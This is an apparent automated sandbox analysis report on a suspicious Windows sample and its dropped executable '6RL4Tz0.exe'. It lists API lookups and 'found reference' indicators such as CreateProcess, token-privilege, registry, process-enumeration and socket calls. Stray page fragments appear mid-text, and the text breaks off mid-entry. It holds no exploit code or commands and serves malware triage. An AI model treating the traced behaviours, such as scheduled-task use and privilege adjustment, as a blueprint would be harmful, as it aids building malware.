SetFileInformationByHandle (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003136) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003680) "schtasks.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003680) "schtasks.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003680) "schtasks.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003680) "schtasks.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003680) "schtasks.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003680) "6RL4Tz0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002216) "6RL4Tz0.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002216)38:Tf99,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00000296.00000128.516364.00090000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000292.00000000.76514.003C0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000292.00000000.76514.003C0000.00000004.mdmp, 00000000-00000292.00000000.76514.00800000.00000004.mdmp, 00000000-00000292.00000000.76521.00A70000.00000004.mdmp, 00000000-00000292.00000000.76521.00AC0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000000.66582.003D0000.00000004.mdmp, 00000000-00000296.00000000.66582.00A70000.00000004.mdmp, 00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.006F0000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.003D0000.00000004.mdmp, 00000000-00000296.00000003.76186.006F0000.00000004.mdmp, 00000000-00000296.00000003.76186.00A70000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp, 00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "121439853267,3516,3136,,CreateProcessA,kernel32.dll,"252:03:38.425",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000002.70430.00280000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000296.00000002.70430.006F0000.00000004.mdmp, 00000000-00000296.00000003.76186.006F0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000000.66549.01190000.00000004.mdmp, 00000000-00000480.00000002.70398.00120000.00000004.mdmp, 00000000-00000480.00000002.70398.00C50000.00000004.mdmp, 00000000-00000480.00000003.76536.00120000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.00C50000.00000004.mdmp, 00000000-00000480.00000003.76536.01190000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp, 00000000-00000480.00000003.76536.003A0000.00000004.mdmp") Found reference to API "562246066,2624,3136,,CreateProcessA,kernel32.dll,"252:02:47.678",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig&j" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000002.70398.00120000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")39:Tc4a1,Found reference to API (Indicator: "CheckTokenMembership"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "HeapSetInformation"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "DecryptFileA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SHBrowseForFolder"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetTokenInformation"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegDeleteValueA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegOpenKeyExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FreeSid"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "OpenProcessToken"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegSetValueExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegCreateKeyExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegQueryValueExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "EqualSid"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RegCloseKey"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetShortPathNameA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetModuleFileNameA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FindFirstFileA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetCurrentProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FindNextFileA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FindClose"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LocalAlloc"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "lstrcmpA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CompareStringA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetLastError"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetFileAttributesA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LoadLibraryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "DeleteFileA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GlobalAlloc"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GlobalFree"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CloseHandle"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetFileAttributesA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetProcAddress"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GlobalLock"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LocalFree"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "RemoveDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FreeLibrary"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GlobalUnlock"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ReadFile"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SizeofResource"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "WriteFile"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetDriveTypeA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LoadLibraryExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetFileTime"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetFilePointer"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FindResourceA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateMutexA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetVolumeInformationA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "WaitForSingleObject"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FreeResource"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetVersion"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetTempPathA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateFileA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetEvent"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "TerminateThread"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetVersionExA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LockResource"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetSystemInfo"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateThread"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ResetEvent"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LoadResource"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ExitProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetModuleHandleW"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateProcessA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FormatMessageA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetTempFileNameA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CreateEventA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetExitCodeProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetDeviceCaps"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetDesktopWindow"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CharUpperA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ExitWindowsEx"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "MessageBeep"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CharPrevA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "LoadStringA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CharNextA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "EnableWindow"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ReleaseDC"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetForegroundWindow"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "PeekMessageA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SendMessageA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "MessageBoxA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetWindowTextA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetWindowLongA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "CallWindowProcA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetWindowLongA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "ShowWindow"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetWindowPos"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetDC"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetWindowRect"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "DispatchMessageA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "VerQueryValueA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "Sleep"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetStartupInfoW"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "TerminateProcess"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetCurrentProcessId"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetCurrentThreadId"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetTickCount"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "MulDiv"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "GetSystemMetrics"; File: "a56da099e59801bac606963e44684336") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00001640.00000000.66632.010F1000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00001640.00000000.66632.010F1000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "CompareStringW"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "Process32NextW"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "OpenProcess"; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp") Found reference to API (Indicator: "EncodePointer"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "DecodePointer"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetActiveWindow"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetLastActivePopup"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetProcessWindowStation"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetFullPathNameW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetComputerNameA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetDateFormatW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GlobalDeleteAtom"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "InterlockedIncrement"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetSystemWindowsDirectoryW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "BackupSeek"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FindNextVolumeMountPointA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetConsoleAliasesLengthA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "TlsSetValue"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetCurrencyFormatW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "LoadLibraryW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "AssignProcessToJobObject"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetVersionExW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "CreateFileW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetVolumePathNameA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "CreateJobObjectA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "LCMapStringA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "InterlockedExchange"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "SetLastError"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetProcessHeaps"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "VirtualAlloc"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "BackupWrite"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "EnumDateFormatsExA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "SetComputerNameA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "OpenMutexA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "CreateFileMappingA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "CreateFileMappingW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FindFirstVolumeMountPointW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "BeginUpdateResourceA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GlobalFindAtomW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FindFirstChangeNotificationA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "VirtualProtect"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "OpenSemaphoreW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FindAtomW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GlobalAddAtomW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "RegisterEventSourceW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetCommandLineA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetStartupInfoA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetStdHandle"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetCPInfo"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "InterlockedDecrement"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetACP"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: 